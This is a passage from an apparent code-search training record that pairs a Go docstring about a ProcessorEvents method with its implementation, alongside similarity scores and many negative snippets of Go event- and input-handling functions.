{\n\t\tif i := strings.IndexByte(line, '#'); i > -1 {\n\t\t\tline = line[:i]\n\t\t}\n\t\tline = strings.TrimSpace(line)\n\t\tif line == \"\" {\n\t\t\tcontinue\n\t\t}\n\t\tif strings.HasSuffix(line, \":\") {\n\t\t\tgroups = strings.Split(strings.TrimRight(line, \":\"), \",\")\n\t\t\tfor i := range groups {\n\t\t\t\tgroups[i] = strings.TrimSpace(groups[i])\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\n\t\tfields := strings.Fields(line)\n\t\tif len(fields) < 2 {\n\t\t\tif strings.ToUpper(fields[0]) == \"EMPTY\" {\n\t\t\t\tfor _, g := range groups {\n\t\t\t\t\tevents[g] = Events{}\n\t\t\t\t}\n\t\t\t\tcontinue\n\t\t\t}\n\n\t\t\tt.Fatalf(\"newEvents: line %d has less than 2 fields: %s\", no, line)\n\t\t}\n\n\t\tpath := strings.Trim(fields[len(fields)-1], `\"`)\n\n\t\tvar op Op\n\t\tfor _, e := range fields[:len(fields)-1] {\n\t\t\tif e == \"|\" {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tfor _, ee := range strings.Split(e, \"|\") {\n\t\t\t\tswitch strings.ToUpper(ee) {\n\t\t\t\tcase \"CREATE\":\n\t\t\t\t\top |= Create\n\t\t\t\tcase \"WRITE\":\n\t\t\t\t\top |= Write\n\t\t\t\tcase \"REMOVE\":\n\t\t\t\t\top |= Remove\n\t\t\t\tcase \"RENAME\":\n\t\t\t\t\top |= Rename\n\t\t\t\tcase \"CHMOD\":\n\t\t\t\t\top |= Chmod\n\t\t\t\tdefault:\n\t\t\t\t\tt.Fatalf(\"newEvents: line %d has unknown event %q: %s\", no, ee, line)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tfor _, g := range groups {\n\t\t\tevents[g] = append(events[g], Event{Name: path, Op: op})\n\t\t}\n\t}\n\n\tif e, ok := events[runtime.GOOS]; ok {\n\t\treturn e\n\t}\n\tswitch runtime.GOOS {\n\t// kqueue shortcut\n\tcase \"freebsd\", \"netbsd\", \"openbsd\", \"dragonfly\", \"darwin\":\n\t\tif e, ok := events[\"kqueue\"]; ok {\n\t\t\treturn e\n\t\t}\n\t// fen shortcut\n\tcase \"solaris\", \"illumos\":\n\t\tif e, ok := events[\"fen\"]; ok {\n\t\t\treturn e\n\t\t}\n\t}\n\treturn events[\"\"]\n}", "func constructInputsMap(ctx *Context, inputs map[string]interface{}) (Map, error) {\n\tresult := make(Map, len(inputs))\n\tfor k, v := range inputs {\n\t\tci := v.(*constructInput)\n\n\t\tknown := !ci.value.ContainsUnknowns()\n\t\tvalue, secret, err := unmarshalPropertyValue(ctx, ci.value)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrapf(err, \"unmarshaling input %s\", k)\n\t\t}\n\n\t\tresultType := anyOutputType\n\t\tif ot, ok := concreteTypeToOutputType.Load(reflect.TypeOf(value)); ok {\n\t\t\tresultType = ot.(reflect.Type)\n\t\t}\n\n\t\toutput := ctx.newOutput(resultType, ci.deps...)\n\t\toutput.getState().resolve(value, known, secret, nil)\n\t\tresult[k] = output\n\t}\n\treturn result, nil\n}", "func (c *Client) events(ctx context.Context, start int) ([]Event, error) {\n\tlog.Printf(\"POLLING %d\", start)\n\tpathquery := fmt.Sprintf(\"/rex/v0/events?start=%d\", start)\n\tresp, err := c.http().Get(c.url(pathquery))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\tb, _ := ioutil.ReadAll(resp.Body)\n\t\treturn nil, errors.New(string(b))\n\t}\n\tvar events []Event\n\tdec := json.NewDecoder(resp.Body)\n\tejs := newJSONEvent(nil)\n\tfor {\n\t\t*ejs = jsonEvent{}\n\t\terr := dec.Decode(&ejs)\n\t\tif err != nil {\n\t\t\tbreak\n\t\t}\n\t\tevents = append(events, ejs.Event)\n\t}\n\tif err == io.EOF {\n\t\treturn events, nil\n\t}\n\treturn events, err\n}", "func (store *Store) GetEvents(sessionID string) ([]*models.Event, error) {\n\tevents, err := store.connection.XRange(sessionID, \"-\", \"+\").Result()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tdeserializedEvents := make([]*models.Event, len(events))\n\tfor i, event := range events {\n\t\tdeserializedEvents[i] = models.DeserializeRedisStream(event)\n\t}\n\n\treturn deserializedEvents, nil\n}", "func (p *PodStatusResolver) Events() []*K8sEventResolver {\n\treturn p.events\n}", "func inputHandler(scanner inOut, tasks []*task) (int, []*task) {\n\tscanner.Scan()\n\tinput := scanner.Text()\n\tpreviouslyActive := deactivateAll(tasks)\n\n\ttypeOfInput, name, idx := parseInputCharacter(input)\n\n\tswitch typeOfInput {\n\tcase newTask:\n\t\ttasks = append(tasks, makeTask(name))\n\t\treturn len(tasks) - 1, tasks\n\tcase refresh:\n\t\treturn previouslyActive, tasks\n\tdefault:\n\t\treturn idx, tasks\n\t}\n}", "func (r StatsTraceReporter) consumeEventWithLabelSlice(evt TraceEvt, tags *[]string) {\n\tswitch evt.Type {\n\tcase TraceAddStreamEvt, TraceRemoveStreamEvt:\n\t\tif p := PeerStrInScopeName(evt.Name); p != \"\" {\n\t\t\t// Aggregated peer stats. Counts how many peers have N number of streams open.\n\t\t\t// Uses two buckets aggregations. One to count how many streams the\n\t\t\t// peer has now. The other to count the negative value, or how many\n\t\t\t// streams did the peer use to have. When looking at the data you\n\t\t\t// take the difference from the two.\n\n\t\t\toldStreamsOut := int64(evt.StreamsOut - evt.DeltaOut)\n\t\t\tpeerStreamsOut := int64(evt.StreamsOut)\n\t\t\tif oldStreamsOut != peerStreamsOut {\n\t\t\t\tif oldStreamsOut != 0 {\n\t\t\t\t\tpreviousPeerStreamsOutbound.Observe(float64(oldStreamsOut))\n\t\t\t\t}\n\t\t\t\tif peerStreamsOut != 0 {\n\t\t\t\t\tpeerStreamsOutbound.Observe(float64(peerStreamsOut))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\toldStreamsIn := int64(evt.StreamsIn - evt.DeltaIn)\n\t\t\tpeerStreamsIn := int64(evt.StreamsIn)\n\t\t\tif oldStreamsIn != peerStreamsIn {\n\t\t\t\tif oldStreamsIn != 0 {\n\t\t\t\t\tpreviousPeerStreamsInbound.Observe(float64(oldStreamsIn))\n\t\t\t\t}\n\t\t\t\tif peerStreamsIn != 0 {\n\t\t\t\t\tpeerStreamsInbound.Observe(float64(peerStreamsIn))\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif evt.DeltaOut != 0 {\n\t\t\t\tif IsSystemScope(evt.Name) || IsTransientScope(evt.Name) {\n\t\t\t\t\t*tags = (*tags)[:0]\n\t\t\t\t\t*tags = append(*tags, \"outbound\", evt.Name, \"\")\n\t\t\t\t\tstreams.WithLabelValues(*tags...).Set(float64(evt.StreamsOut))\n\t\t\t\t} else if proto := ParseProtocolScopeName(evt.Name); proto != \"\" {\n\t\t\t\t\t*tags = (*tags)[:0]\n\t\t\t\t\t*tags = append(*tags, \"outbound\", \"protocol\", proto)\n\t\t\t\t\tstreams.WithLabelValues(*tags...).Set(float64(evt.StreamsOut))\n\t\t\t\t} else {\n\t\t\t\t\t// Not measuring service scope, connscope, servicepeer and protocolpeer. Lots of data, and\n\t\t\t\t\t// you can use aggregated peer stats + service stats to infer\n\t\t\t\t\t// this.\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif evt.DeltaIn != 0 {\n\t\t\t\tif IsSystemScope(evt.Name) || IsTransientScope(evt.Name) {\n\t\t\t\t\t*tags = (*tags)[:0]\n\t\t\t\t\t*tags = append(*tags, \"inbound\", evt.Name, \"\")\n\t\t\t\t\tstreams.WithLabelValues(*tags...).Set(float64(evt.StreamsIn))\n\t\t\t\t} else if proto := ParseProtocolScopeName(evt.Name); proto != \"\" {\n\t\t\t\t\t*tags = (*tags)[:0]\n\t\t\t\t\t*tags = append(*tags, \"inbound\", \"protocol\", proto)\n\t\t\t\t\tstreams.WithLabelValues(*tags...).Set(float64(evt.StreamsIn))\n\t\t\t\t} else {\n\t\t\t\t\t// Not measuring service scope, connscope, servicepeer and protocolpeer. Lots of data, and\n\t\t\t\t\t// you can use aggregated peer stats + service stats to infer\n\t\t\t\t\t// this.\n\t\t\t\t\tbreak\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tcase TraceAddConnEvt, TraceRemoveConnEvt:\n\t\tif p := PeerStrInScopeName(evt.Name); p != \"\" {\n\t\t\t// Aggregated peer stats. Counts how many peers have N number of connections.\n\t\t\t// Uses two buckets aggregations. One to count how many streams the\n\t\t\t// peer has now. The other to count the negative value, or how many\n\t\t\t// conns did the peer use to have. When looking at the data you\n\t\t\t// take the difference from the two.\n\n\t\t\toldConnsOut := int64(evt.ConnsOut - evt.DeltaOut)\n\t\t\tconnsOut := int64(evt.ConnsOut)\n\t\t\tif oldConnsOut != connsOut {\n\t\t\t\tif oldConnsOut != 0 {\n\t\t\t\t\tpreviousPeerConnsOutbound.Observe(float64(oldConnsOut))\n\t\t\t\t}\n\t\t\t\tif connsOut != 0 {\n\t\t\t\t\tpeerConnsOutbound.Observe(float64(connsOut))\n\t\t\t\t}\n\t\t\t}\n\n\t\t\toldConnsIn := int64(evt.ConnsIn - evt.DeltaIn)\n\t\t\tconnsIn := int64(evt.ConnsIn)\n\t\t\tif oldConnsIn != connsIn {\n\t\t\t\tif oldConnsIn != 0 {\n\t\t\t\t\tpreviousPeerConnsInbound.Observe(float64(oldConnsIn))\n\t\t\t\t}\n\t\t\t\tif connsIn != 0 {\n\t\t\t\t\tpeerConnsInbound.Observe(float64(connsIn))\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif IsConnScope(evt.Name) {\n\t\t\t\t// Not measuring this. I don't think it's useful.\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tif IsSystemScope(evt.Name) {\n\t\t\t\tconnsInboundSystem.Set(float64(evt.ConnsIn))\n\t\t\t\tconnsOutboundSystem.Set(float64(evt.ConnsOut))\n\t\t\t} else if IsTransientScope(evt.Name) {\n\t\t\t\tconnsInboundTransient.Set(float64(evt.ConnsIn))\n\t\t\t\tconnsOutboundTransient.Set(float64(evt.ConnsOut))\n\t\t\t}\n\n\t\t\t// Represents the delta in fds\n\t\t\tif evt.Delta != 0 {\n\t\t\t\tif IsSystemScope(evt.Name) {\n\t\t\t\t\tfdsSystem.Set(float64(evt.FD))\n\t\t\t\t} else if IsTransientScope(evt.Name) {\n\t\t\t\t\tfdsTransient.Set(float64(evt.FD))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\tcase TraceReserveMemoryEvt, TraceReleaseMemoryEvt:\n\t\tif p := PeerStrInScopeName(evt.Name); p != \"\" {\n\t\t\toldMem := evt.Memory - evt.Delta\n\t\t\tif oldMem != evt.Memory {\n\t\t\t\tif oldMem != 0 {\n\t\t\t\t\tpreviousPeerMemory.Observe(float64(oldMem))\n\t\t\t\t}\n\t\t\t\tif evt.Memory != 0 {\n\t\t\t\t\tpeerMemory.Observe(float64(evt.Memory))\n\t\t\t\t}\n\t\t\t}\n\t\t} else if IsConnScope(evt.Name) {\n\t\t\toldMem := evt.Memory - evt.Delta\n\t\t\tif oldMem != evt.Memory {\n\t\t\t\tif oldMem != 0 {\n\t\t\t\t\tpreviousConnMemory.Observe(float64(oldMem))\n\t\t\t\t}\n\t\t\t\tif evt.Memory != 0 {\n\t\t\t\t\tconnMemory.Observe(float64(evt.Memory))\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\tif IsSystemScope(evt.Name) || IsTransientScope(evt.Name) {\n\t\t\t\t*tags = (*tags)[:0]\n\t\t\t\t*tags = append(*tags, evt.Name, \"\")\n\t\t\t\tmemoryTotal.WithLabelValues(*tags...).Set(float64(evt.Memory))\n\t\t\t} else if proto := ParseProtocolScopeName(evt.Name); proto != \"\" {\n\t\t\t\t*tags = (*tags)[:0]\n\t\t\t\t*tags = append(*tags, \"protocol\", proto)\n\t\t\t\tmemoryTotal.WithLabelValues(*tags...).Set(float64(evt.Memory))\n\t\t\t} else {\n\t\t\t\t// Not measuring connscope, servicepeer and protocolpeer. Lots of data, and\n\t\t\t\t// you can use aggregated peer stats + service stats to infer\n\t\t\t\t// this.\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\tcase TraceBlockAddConnEvt, TraceBlockAddStreamEvt, TraceBlockReserveMemoryEvt:\n\t\tvar resource string\n\t\tif evt.Type == TraceBlockAddConnEvt {\n\t\t\tresource = \"connection\"\n\t\t} else if evt.Type == TraceBlockAddStreamEvt {\n\t\t\tresource = \"stream\"\n\t\t} else {\n\t\t\tresource = \"memory\"\n\t\t}\n\n\t\tscopeName := evt.Name\n\t\t// Only the top scopeName. We don't want to get the peerid here.\n\t\t// Using indexes and slices to avoid allocating.\n\t\tscopeSplitIdx := strings.IndexByte(scopeName, ':')\n\t\tif scopeSplitIdx != -1 {\n\t\t\tscopeName = evt.Name[0:scopeSplitIdx]\n\t\t}\n\t\t// Drop the connection or stream id\n\t\tidSplitIdx := strings.IndexByte(scopeName, '-')\n\t\tif idSplitIdx != -1 {\n\t\t\tscopeName = scopeName[0:idSplitIdx]\n\t\t}\n\n\t\tif evt.DeltaIn != 0 {\n\t\t\t*tags = (*tags)[:0]\n\t\t\t*tags = append(*tags, \"inbound\", scopeName, resource)\n\t\t\tblockedResources.WithLabelValues(*tags...).Add(float64(evt.DeltaIn))\n\t\t}\n\n\t\tif evt.DeltaOut != 0 {\n\t\t\t*tags = (*tags)[:0]\n\t\t\t*tags = append(*tags, \"outbound\", scopeName, resource)\n\t\t\tblockedResources.WithLabelValues(*tags...).Add(float64(evt.DeltaOut))\n\t\t}\n\n\t\tif evt.Delta != 0 && resource == \"connection\" {\n\t\t\t// This represents fds blocked\n\t\t\t*tags = (*tags)[:0]\n\t\t\t*tags = append(*tags, \"\", scopeName, \"fd\")\n\t\t\tblockedResources.WithLabelValues(*tags...).Add(float64(evt.Delta))\n\t\t} else if evt.Delta != 0 {\n\t\t\t*tags = (*tags)[:0]\n\t\t\t*tags = append(*tags, \"\", scopeName, resource)\n\t\t\tblockedResources.WithLabelValues(*tags...).Add(float64(evt.Delta))\n\t\t}\n\t}\n}", "func (k *ProducerNode) Input() chan<- []*ProducerMsg {\n\treturn k.incoming\n}", "func GetUserInputs() (*types.UserInput, error) {\n\tvar (\n\t\tuserInputs = new(types.UserInput)\n\t\ttopics string\n\t)\n\n\tuserInputs.QueueGroup = \"log\"\n\ttopics = topics + \"CONFIG,\"\n\ttopics = topics + \"EVENT,\"\n\ttopics = topics + \"LOG,\"\n\n\t//if cdr outtopic is enabled\n\tif types.OutTopic != \"\" {\n\t\ttopics = topics + types.OutTopic + \",\"\n\t}\n\n\t//add a test topic\n\ttopics = topics + \"TEST\"\n\n\tuserInputs.Subject = strings.Split(topics, \",\")\n\n\tuserInputs.MaxFileSizeMB = types.CimConfigObj.CimConfig.Lmaas.MaxFileSizeInMB\n\tuserInputs.MaxBackupFiles = types.CimConfigObj.CimConfig.Lmaas.MaxBackupFiles\n\tuserInputs.MaxAge = types.CimConfigObj.CimConfig.Lmaas.MaxAge\n\tuserInputs.BufSize = types.CimConfigObj.CimConfig.Lmaas.BufferSize\n\tuserInputs.FlushTimeout = time.Duration(types.CimConfigObj.CimConfig.Lmaas.FlushTimeout)\n\tuserInputs.PodID = types.PodID\n\tuserInputs.Namespace = types.Namespace\n\n\treturn userInputs, nil\n}", "func (c *GorymanClient) QueryEvents(q string) ([]Event, error) {\n\tquery := &proto.Query{}\n\tquery.String_ = pb.String(q)\n\n\tmessage := &proto.Msg{}\n\tmessage.Query = query\n\n\tresponse, err := c.sendRecv(message)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn ProtocolBuffersToEvents(response.GetEvents()), nil\n}", "func (w *Watcher) Events() chan EventInfo {\n\treturn w.eventInfoChan\n}", "func GetEvents(eventByte []byte) (*Event, error) {\n\tevents := Event{}\n\tif len(eventByte) > 0 {\n\t\tchaincodeEvent := &pb.ChaincodeEvent{}\n\t\terr := proto.Unmarshal(eventByte, chaincodeEvent)\n\t\tif err != nil {\n\t\t\treturn nil, errors.Wrap(err, \"error unmarshaling ChaincodeEvent\")\n\t\t}\n\t\tevents.EventName = chaincodeEvent.EventName\n\t\tevents.Payload = chaincodeEvent.Payload\n\t}\n\treturn &events, nil\n}", "func (e *EventsIO) Events() <-chan *EventResponse {\n\treturn (<-chan *EventResponse)(e.eventResp)\n}", "func GenericEventGenerator(workload map[string]interface{}) (map[string]interface{}, int) {\n\tduration := workload[\"duration\"]\n\tall_event := make(map[string]interface{})\n\tevent_count := 0\n\tfor instance, value := range workload[\"instances\"].(map[string]interface{}) {\n\t\tlog.Println(\"Generate\", instance)\n\t\tdesc := value.(map[string]interface{})\n\t\tinstance_events := CreateEvents(desc[\"distribution\"].(string), int(desc[\"rate\"].(float64)), int(duration.(float64)))\n\t\tlog.Println(instance, \"is created\")\n\t\tstart_time := 0\n\t\tend_time := int(duration.(float64))\n\t\tif activity_window, ok := desc[\"activity_window\"]; ok {\n\t\t\tif window, ok := activity_window.([]interface{}); ok {\n\t\t\t\tif len(window) >= 2 {\n\t\t\t\t\tstart_time = int(window[0].(float64))\n\t\t\t\t\tend_time = int(window[1].(float64))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tinstance_events = EnforceActivityWindow(start_time, end_time, instance_events)\n\t\tall_event[instance] = instance_events\n\t\tevent_count += len(instance_events)\n\t}\n\treturn all_event, event_count\n}", "func newInputLoop(log zerolog.Logger, spec *koalja.TaskSpec, pod *corev1.Pod, executor Executor, snapshotService SnapshotService, statistics *tracking.TaskStatistics) (*inputLoop, error) {\n\tinputAddressMap := make(map[string]string)\n\tfor _, tis := range spec.Inputs {\n\t\tannKey := constants.CreateInputLinkAddressAnnotationName(tis.Name)\n\t\taddress := pod.GetAnnotations()[annKey]\n\t\tif address == \"\" {\n\t\t\treturn nil, fmt.Errorf(\"No input address annotation found for input '%s'\", tis.Name)\n\t\t}\n\t\tinputAddressMap[tis.Name] = address\n\t}\n\treturn &inputLoop{\n\t\tlog: log,\n\t\tspec: spec,\n\t\tinputAddressMap: inputAddressMap,\n\t\tclientID: uniuri.New(),\n\t\texecQueue: make(chan *InputSnapshot),\n\t\texecutor: executor,\n\t\tsnapshotService: snapshotService,\n\t\tstatistics: statistics,\n\t}, nil\n}", "func getInputClusters(args []string) (inputClusterMap, error) {\n\tinputs := make(inputClusterMap)\n\tfor _, val := range args {\n\t\tfields := vv8LogNamePattern.FindStringSubmatch(val)\n\t\tif len(fields) > 0 {\n\t\t\tkey := fields[1] + \"0.log\"\n\t\t\trank, err := strconv.Atoi(fields[2])\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tinputs[key] = append(inputs[key], logSegment{rank, val})\n\t\t} else {\n\t\t\t// \"@oid\" (no input files) or \"-\" (stdin)\n\t\t\tinputs[val] = []logSegment{{0, val}}\n\t\t}\n\t}\n\tfor _, files := range inputs {\n\t\tif len(files) > 0 {\n\t\t\tsort.Slice(files, func(i, j int) bool {\n\t\t\t\treturn files[i].rank < files[j].rank\n\t\t\t})\n\t\t}\n\t}\n\treturn inputs, nil\n}", "func SendInputRoomEvents(\n\tctx context.Context, rsAPI RoomserverInternalAPI, ires []InputRoomEvent,\n) (eventID string, err error) {\n\trequest := InputRoomEventsRequest{InputRoomEvents: ires}\n\tvar response InputRoomEventsResponse\n\terr = rsAPI.InputRoomEvents(ctx, &request, &response)\n\teventID = response.EventID\n\treturn\n}", "func (c *gitlabClient) PullRequestEvents(context.Context, string, []interface{}) ([]sdk.VCSPullRequestEvent, error) {\n\treturn nil, fmt.Errorf(\"Not implemented on Gitlab\")\n}", "func (r *Recorder) Events() chan image.Event {\n\treturn r.imageEvents\n}", "func inputs(fns []InputSetter) Inputs {\n\tresult := make(Inputs)\n\tfor _, fn := range fns {\n\t\tfn(result)\n\t}\n\treturn result\n}", "func (r *Runsc) Events(context context.Context, id string, interval time.Duration) (chan *runc.Event, error) {\n\tcmd := r.command(context, \"events\", fmt.Sprintf(\"--interval=%ds\", int(interval.Seconds())), id)\n\trd, err := cmd.StdoutPipe()\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tec, err := Monitor.Start(cmd)\n\tif err != nil {\n\t\trd.Close()\n\t\treturn nil, err\n\t}\n\tvar (\n\t\tdec = json.NewDecoder(rd)\n\t\tc = make(chan *runc.Event, 128)\n\t)\n\tgo func() {\n\t\tdefer func() {\n\t\t\tclose(c)\n\t\t\trd.Close()\n\t\t\tMonitor.Wait(cmd, ec)\n\t\t}()\n\t\tfor {\n\t\t\tvar e runc.Event\n\t\t\tif err := dec.Decode(&e); err != nil {\n\t\t\t\tif err == io.EOF {\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t\te = runc.Event{\n\t\t\t\t\tType: \"error\",\n\t\t\t\t\tErr: err,\n\t\t\t\t}\n\t\t\t}\n\t\t\tc <- &e\n\t\t}\n\t}()\n\treturn c, nil\n}", "func (d *Driver) TaskEvents(ctx context.Context) (<-chan *drivers.TaskEvent, error) {\n\treturn d.eventer.TaskEvents(ctx)\n}", "func (act *CreateAction) Input() error {\n\tif err := act.verify(); err != nil {\n\t\treturn act.Err(pbcommon.ErrCode_E_CS_PARAMS_INVALID, err.Error())\n\t}\n\n\tfor _, labelsOr := range act.req.LabelsOr {\n\t\tif err := strategy.ValidateLabels(labelsOr.Labels); err != nil {\n\t\t\treturn act.Err(pbcommon.ErrCode_E_CS_PARAMS_INVALID, fmt.Sprintf(\"invalid labels_or formats, %+v\", err))\n\t\t}\n\t\tif len(labelsOr.Labels) != 0 {\n\t\t\tact.labelsOr = append(act.labelsOr, labelsOr.Labels)\n\t\t}\n\t}\n\n\tfor _, labelsAnd := range act.req.LabelsAnd {\n\t\tif err := strategy.ValidateLabels(labelsAnd.Labels); err != nil {\n\t\t\treturn act.Err(pbcommon.ErrCode_E_CS_PARAMS_INVALID, fmt.Sprintf(\"invalid labels_and formats, %+v\", err))\n\t\t}\n\t\tif len(labelsAnd.Labels) != 0 {\n\t\t\tact.labelsAnd = append(act.labelsAnd, labelsAnd.Labels)\n\t\t}\n\t}\n\n\treturn nil\n}", "func (EventSource) Values() []EventSource {\n\treturn []EventSource{\n\t\t\"aws.config\",\n\t}\n}" ]
[ "0.6246226", "0.5906484", "0.5672509", "0.56447995", "0.5487946", "0.5245688", "0.51941764", "0.50537294", "0.50033385", "0.49476933", "0.49463183", "0.49331596", "0.49174765", "0.48466128", "0.48196077", "0.47845575", "0.47838122", "0.47791883", "0.47675776", "0.47577938", "0.47510672", "0.47490597", "0.47036806", "0.46979165", "0.46956223", "0.46917355", "0.46896672", "0.46422827", "0.4622335", "0.45952195", "0.45732763", "0.45710307", "0.45705286", "0.4559543", "0.4527414", "0.45101282", "0.4508637", "0.45082638", "0.4507196", "0.4505069", "0.45002043", "0.44898978", "0.44884306", "0.44761032", "0.44721925", "0.44352305", "0.4413584", "0.44107902", "0.440952", "0.44093415", "0.4409137", "0.4407805", "0.4400185", "0.43989998", "0.4398407", "0.43961143", "0.4395884", "0.4390416", "0.43839875", "0.4379357", "0.43753916", "0.43743676", "0.43716687", "0.4369912", "0.43647435", "0.43638355", "0.43600237", "0.43377826", "0.43357965", "0.4335731", "0.4335312", "0.43326136", "0.43294123", "0.43150282", "0.42983654", "0.42953688", "0.42952585", "0.4295023", "0.4289548", "0.42849463", "0.42784834", "0.42755875", "0.42752454", "0.42745855", "0.42708096", "0.42668614", "0.4266817", "0.42667273", "0.42440212", "0.4241398", "0.4238502", "0.42372608", "0.42283097", "0.4220929", "0.42162895", "0.42142248", "0.42115656", "0.4205476", "0.41853097", "0.4185161" ]
0.76808536
0
ProcessorEvents returns a map of processor labels to events traced during the execution of a stream pipeline.
func (s *Summary) ProcessorEvents() map[string][]NodeEvent { m := map[string][]NodeEvent{} s.processorEvents.Range(func(key, value any) bool { m[key.(string)] = value.(*events).Extract() return true }) return m }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func (s *Summary) InputEvents() map[string][]NodeEvent {\n\tm := map[string][]NodeEvent{}\n\ts.inputEvents.Range(func(key, value any) bool {\n\t\tm[key.(string)] = value.(*events).Extract()\n\t\treturn true\n\t})\n\treturn m\n}", "func eventMapping(info []*haproxy.Stat, r mb.ReporterV2) {\n\tfor _, evt := range info {\n\t\tst := reflect.ValueOf(evt).Elem()\n\t\ttypeOfT := st.Type()\n\t\tsource := map[string]interface{}{}\n\n\t\tfor i := 0; i < st.NumField(); i++ {\n\t\t\tf := st.Field(i)\n\t\t\tsource[typeOfT.Field(i).Name] = f.Interface()\n\t\t}\n\n\t\tfields, _ := schema.Apply(source)\n\t\tevent := mb.Event{\n\t\t\tRootFields: common.MapStr{},\n\t\t}\n\n\t\tif processID, err := fields.GetValue(\"process_id\"); err == nil {\n\t\t\tevent.RootFields.Put(\"process.pid\", processID)\n\t\t\tfields.Delete(\"process_id\")\n\t\t}\n\n\t\tevent.MetricSetFields = fields\n\t\tr.Event(event)\n\t}\n}", "func (p *EventProcessor) Process(events []publisher.Event) []publisher.Event {\n\tnewEvents := make([]publisher.Event, 0)\n\tfor _, event := range events {\n\t\t// Get the message from the log file\n\t\teventMsgFieldVal, err := event.Content.Fields.GetValue(\"message\")\n\t\tif err != nil {\n\t\t\tlog.Error(err.Error())\n\t\t\treturn newEvents\n\t\t}\n\n\t\teventMsg, ok := eventMsgFieldVal.(string)\n\t\tif ok {\n\t\t\t// Unmarshal the message into the struct representing traffic log entry in gateway logs\n\t\t\tbeatEvents := p.ProcessRaw([]byte(eventMsg))\n\t\t\tif beatEvents != nil {\n\t\t\t\tfor _, beatEvent := range beatEvents {\n\t\t\t\t\tpublisherEvent := publisher.Event{\n\t\t\t\t\t\tContent: beatEvent,\n\t\t\t\t\t}\n\t\t\t\t\tnewEvents = append(newEvents, publisherEvent)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn newEvents\n}", "func AvailableEvents() (map[string][]string, error) {\n\tevents := map[string][]string{}\n\t// BUG(hodgesds): this should ideally check mounts for debugfs\n\trawEvents, err := fileToStrings(TracingDir + \"/available_events\")\n\t// Events are colon delimited by type so parse the type and add sub\n\t// events appropriately.\n\tif err != nil {\n\t\treturn events, err\n\t}\n\tfor _, rawEvent := range rawEvents {\n\t\tsplits := strings.Split(rawEvent, \":\")\n\t\tif len(splits) <= 1 {\n\t\t\tcontinue\n\t\t}\n\t\teventTypeEvents, found := events[splits[0]]\n\t\tif found {\n\t\t\tevents[splits[0]] = append(eventTypeEvents, splits[1])\n\t\t\tcontinue\n\t\t}\n\t\tevents[splits[0]] = []string{splits[1]}\n\t}\n\treturn events, err\n}", "func (sec *sensorExecutionCtx) extractEvents(params []v1alpha1.TriggerParameter) map[string]apicommon.Event {\n\tevents := make(map[string]apicommon.Event)\n\tfor _, param := range params {\n\t\tif param.Src != nil {\n\t\t\tlog := sec.log.WithFields(\n\t\t\t\tmap[string]interface{}{\n\t\t\t\t\t\"param-src\": param.Src.Event,\n\t\t\t\t\t\"param-dest\": param.Dest,\n\t\t\t\t})\n\t\t\tnode := sn.GetNodeByName(sec.sensor, param.Src.Event)\n\t\t\tif node == nil {\n\t\t\t\tlog.Warn(\"event dependency node does not exist, cannot apply parameter\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif node.Event == nil {\n\t\t\t\tlog.Warn(\"event in event dependency does not exist, cannot apply parameter\")\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tevents[param.Src.Event] = *node.Event\n\t\t}\n\t}\n\treturn events\n}", "func NewEventProcessor(state StateType, stateKeyField StateKeyField, events []EventBuilder) (EventProcessor, error) {\n\terr := VerifyEventParameters(state, stateKeyField, events)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tstateType := reflect.TypeOf(state)\n\n\tem := eventProcessor{\n\t\tstateType: stateType,\n\t\tstateKeyField: stateKeyField,\n\t\tcallbacks: make(map[EventName]callback),\n\t\ttransitions: make(map[eKey]StateKey),\n\t}\n\n\t// Build transition map and store sets of all events and states.\n\tfor _, evtIface := range events {\n\t\tevt := evtIface.(eventBuilder)\n\n\t\tname := evt.name\n\n\t\tvar argumentTypes []reflect.Type\n\t\tif evt.action != nil {\n\t\t\tatType := reflect.TypeOf(evt.action)\n\t\t\targumentTypes = make([]reflect.Type, atType.NumIn()-1)\n\t\t\tfor i := range argumentTypes {\n\t\t\t\targumentTypes[i] = atType.In(i + 1)\n\t\t\t}\n\t\t}\n\t\tem.callbacks[name] = callback{\n\t\t\targumentTypes: argumentTypes,\n\t\t\taction: evt.action,\n\t\t}\n\t\tfor src, dst := range evt.transitionsSoFar {\n\t\t\tem.transitions[eKey{name, src}] = dst\n\t\t}\n\t}\n\treturn em, nil\n}", "func (tr *EventRepository) Events(d Stats) map[string]uint64 {\n\tm := make(map[string]uint64)\n\tswitch d {\n\tcase StatsLocationCountry:\n\t\tm = tr.locationCountry.Items()\n\tcase StatsLocationCity:\n\t\tm = tr.locationCity.Items()\n\tcase StatsDeviceType:\n\t\tm = tr.deviceType.Items()\n\tcase StatsDevicePlatform:\n\t\tm = tr.devicePlatform.Items()\n\tcase StatsDeviceOS:\n\t\tm = tr.deviceOS.Items()\n\tcase StatsDeviceBrowser:\n\t\tm = tr.deviceBrowser.Items()\n\tcase StatsDeviceLanguage:\n\t\tm = tr.deviceLanguage.Items()\n\tcase StatsReferral:\n\t\tm = tr.referral.Items()\n\t}\n\treturn m\n}", "func (s *Summary) OutputEvents() 